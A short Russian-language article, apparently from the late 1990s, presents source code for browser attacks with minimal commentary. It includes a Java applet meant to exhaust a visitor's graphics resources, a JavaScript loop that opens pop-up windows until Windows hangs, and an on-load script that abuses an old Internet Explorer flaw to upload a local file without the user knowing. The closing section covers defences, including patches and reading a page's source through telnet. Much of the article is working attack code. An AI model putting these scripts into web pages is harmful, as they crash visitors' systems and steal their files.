|
|
Java attacks |
Атакует Java |
| The article gives examples of Java applications to attack computer systems: attacking Java-applet, attacking JavaScript, which absorb system resources and JavaScript-spy that allows uploading local file using the breach in Internet Explorer security. | ||
| Хотя языки Java и JavaScript были спроектированы для разработки максимально безопасных Интернет-приложений, тем не менее, хакеры тоже "не спят" находя лазейки для агрессии или проникновения в системы пользователей. В статье будут даны примеры с исходными текстами использования Java для подобных целей с минимальными комментариями. |
1. Атакующий Java-апплет |
| Ява-апплет может быть встроен в код html-документа и запущен на исполнение при открытии страницы Web-сайта. Простейший вариант атакующего ява-апплета приведен ниже. Функция, активизирующая при отпускании клавиши мыши должна по замыслу автора "забить" GDI-ресурсы клиентской станции. Несколько человек приписывают себе авторство, поэтому я не привожу ни одного. |
public boolean mouseUp(Event evt, int x, int y)
{
Image img = createImage(600, 400);
Graphics gc = img.getGraphics();
int max = 0x7fffffff;
int min = 0x80000000;
if(!fried)
{
gc.drawLine(299, 924, max, max);
fried = true;
}
else
{
Graphics g = getGraphics();
g.setColor(Color.black);
g.fillRect(0, 0, size().width, size().height);
g.setColor(Color.white);
FontMetrics fm = g.getFontMetrics();
String s = "Working, please wait... ";
g.drawString(s,
(size().width - fm.stringWidth(s)) / 2,
(size().height - fm.getHeight()) / 2);
for(int i = 0; i < 10000; i++)
{
int lx = (int)(Math.random() * 2000D) - 1000;
int ly = (int)(Math.random() * 2000D) - 1000;
gc.setColor(new Color((int)(Math.random() * 16777215D)));
gc.drawLine(lx, ly, max, max);
gc.drawLine(lx, ly, min, min);
gc.drawLine(lx, ly, min, max);
gc.drawLine(lx, ly, max, min);
}
gc.drawImage(background, 0, 0, this);
getGraphics().drawImage(img, 0, 0, this);
ultraFried = true;
}
repaint();
return true;
}
|
| Простейший вариант спасения - это запуск в браузере Ява-консоли и работа с апплетами в режиме отладки. |
2. Атакующий JavaScript |
| Сразу приведу пример атакующего Ява-скрипта: |
<SCRIPT LANGUAGE="JavaScript">
function WindowBomber()
{
var Counter = 0
while (true)
{
window.open("http://www.rambler.ru",
"Crash" + Counter,
"width=1,height=1,resizable=no")
Counter++
}
}
</SCRIPT> |
| Скрипт начинает открывать Popup-окна до тех пор, пока Windows-система не зависнет. Если в системе работает Norton CrashGuard, то окна можно "захлопнуть", вовремя заметив начинающуюся агрессию. Начинать следует с окна браузера, потом "убивать" "окна-поплавки". |
3. Разведчик на JavaScript |
| Простейшая реализация на Java-script скрипта-разведчика связана с брешью в безопасности Internet Explorer, позволяющей выполнять команды Copy и Paste>, и отправлять форму без ведома пользователя. B html есть поле ввода "выбор файла", изначально созданное для отправки файлов на сервер. Обычно это поле заполняет пользователь и подтверждает свое действие нажатием кнопки submit. Для реализации скрипта-разведчика создается форма со скрытым полем
<input type="hidden" name="h1" value="c:\config.sys">, поле для выбора файлов <input type="file" name="filename" value="c:\config.sys">, после чего пишется следующий Java-Script, автоматически вызывающийся по событию при каком-либо действии пользователя, например при загрузке страницы: |
<body onLoad="getFile()">:
<Script language=”JavaScript">
function getFile()
{
document.forms[1].h1.select();
document.execCommand("copy");
document.forms[0].filename.select();
document.execCommand("paste");
document.submit();
}
</Script>
|
| Пользователи получают предупреждение об отправке формы, но большинство его игнорируют. Это можно реализовать не только на html-страницах Web-сайтов, но и сделать вставку в html-сообщение, передаваемое по Email. Необходимо использовать "патчи" от Microsoft для решения этой проблемы. Об этом я опубликовал заметку в "Компьютерных Вестях" № 11(242) за 25-31 марта 1999 года. |
Меры предосторожности |
| Для безопасного просмотра активного содержимого html-документа, без запуска его на исполнение можно воспользоваться утилитой telnet для контакта с сервером, где размещена проверяемая страница. Для связи необходимо указать кроме URL-адреса еще и номер порта. По умолчанию для связи по протоколу http используется порт 80, реже 3126. Обычно при указании адресов номер порта не специфицируется, подразумевается порт по умолчанию, так, если в конце URL нет двоеточия с цифрами, указывающими на номер порта, значит, используется 80-й порт. Активизировать сеанс telnet можно, поменяв тип протокола в строке location браузера http на telnet, например: telnet://www.some_site.com:80/, вместо http://www.some_site.com/evil_page.html. Большинство серверов допускает работу с telnet. После соединения с удаленной системой через сеанс телнета, необходимую страницу вызывают командой GET /evil_page.html HTTP/1.0. Если все сделано правильно, в телнет удаленная система выдаст HTML-код на экран и разорвет связь. Таким способом можно посмотреть на код без какого-либо риска и идентифицировать ловушку "зловредного" сайта. |
Werewolf |
|
|
|
|